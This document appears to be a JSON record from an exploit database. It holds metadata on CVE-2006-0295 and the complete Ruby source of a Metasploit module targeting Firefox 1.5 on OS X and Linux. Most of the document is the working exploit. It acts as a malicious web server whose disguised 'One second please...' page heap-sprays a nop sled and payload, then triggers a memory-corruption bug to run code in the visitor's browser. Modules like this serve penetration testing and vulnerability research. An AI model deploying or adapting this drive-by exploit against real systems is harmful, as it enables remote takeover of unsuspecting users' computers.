{"exploit":{"id":"MSF-multi--browser--firefox_queryinterface","name":"Firefox location.QueryInterface() Code Execution","description":"This module exploits a code execution vulnerability in the Mozilla Firefox browser. To reliably exploit this vulnerability, we need to fill almost a gigabyte of memory with our nop sled and payload. This module has been tested on OS X 10.3 with the stock Firefox 1.5.0 package.","cves":["CVE-2006-0295"],"author":"hdm","published":"2006-02-02","platform":"Linux,OSX","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/firefox_queryinterface.rb","path":"modules/exploits/multi/browser/firefox_queryinterface.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"firefox_queryinterface.rb","vulnerabilities":[{"id":"CVE-2006-0295","state":"PUBLISHED","title":null,"titleSource":null,"description":"Mozilla Firefox 1.5, Thunderbird 1.5 if Javascript is enabled in mail, and SeaMonkey before 1.0 might allow remote attackers to execute arbitrary code via the QueryInterface method of the built-in Location and Navigator objects, which leads to memory corruption.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-0295","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-0295"},"updatedAt":"2024-08-07T16:25:34.099Z","retrievedAt":"2026-11-26T14:08:31.371Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--firefox_queryinterface.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--firefox_queryinterface","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--firefox_queryinterface/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--firefox_queryinterface/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  #\n  # This module acts as an HTTP server\n  #\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Firefox location.QueryInterface() Code Execution',\n        'Description' => %q{\n          This module exploits a code execution vulnerability in the Mozilla\n          Firefox browser. To reliably exploit this vulnerability, we need to fill\n          almost a gigabyte of memory with our nop sled and payload. This module has\n          been tested on OS X 10.3 with the stock Firefox 1.5.0 package.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['hdm'],\n        'References' => [\n          ['CVE', '2006-0295'],\n          ['OSVDB', '22893'],\n          ['BID', '16476'],\n          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],\n        ],\n        'Payload' => {\n          'Space' => 1000 + (rand(256).to_i * 4),\n          'BadChars' => \"\\x00\"\n        },\n        'Targets' => [\n          [\n            'Firefox 1.5.0.0 Mac OS X',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC\n            }\n          ],\n\n          [\n            'Firefox 1.5.0.0 Linux',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86\n            }\n          ],\n        ],\n        'DisclosureDate' => '2006-02-02',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, _request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)).nil?)\n\n    print_status(\"Sending #{name}\")\n    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })\n    handler(cli)\n  end\n\n  def generate_html(payload)\n    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))\n\n    return <<~EOF\n      <html>\n      <head>\n      <title>One second please...</title>\n      <script language=\"javascript\">\n\n      function BodyOnLoad() {\n        h = FillHeap();\n        location.QueryInterface(eval(\"Components.interfaces.nsIClassInfo\"));\n      };\n\n      function FillHeap() {\n        // Filler\n        var m = \"\";\n        var h = \"\";\n        var a = 0;\n\n        // Nop sled\n        for(a=0; a<(1024*256); a++)\n          m += unescape(\"#{enc_nops}\");\n\n        // Payload\n        m += unescape(\"#{enc_code}\");\n\n        // Repeat\n        for(a=0; a<1024; a++)\n          h += m;\n\n        // Return\n        return h;\n      }\n      </script>\n      </head>\n      <body onload=\"BodyOnLoad()\">\n      </body>\n      </html>\n    EOF\n  end\nend\n","sha256":"8b8a551fbba2c08a0bba82f93843fefac41530be1bf93025547092688d3123cf","bytes":2985,"fetchedAt":"2026-11-26T14:08:31.187Z","encoding":"utf-8 (display only; download retains original bytes)"}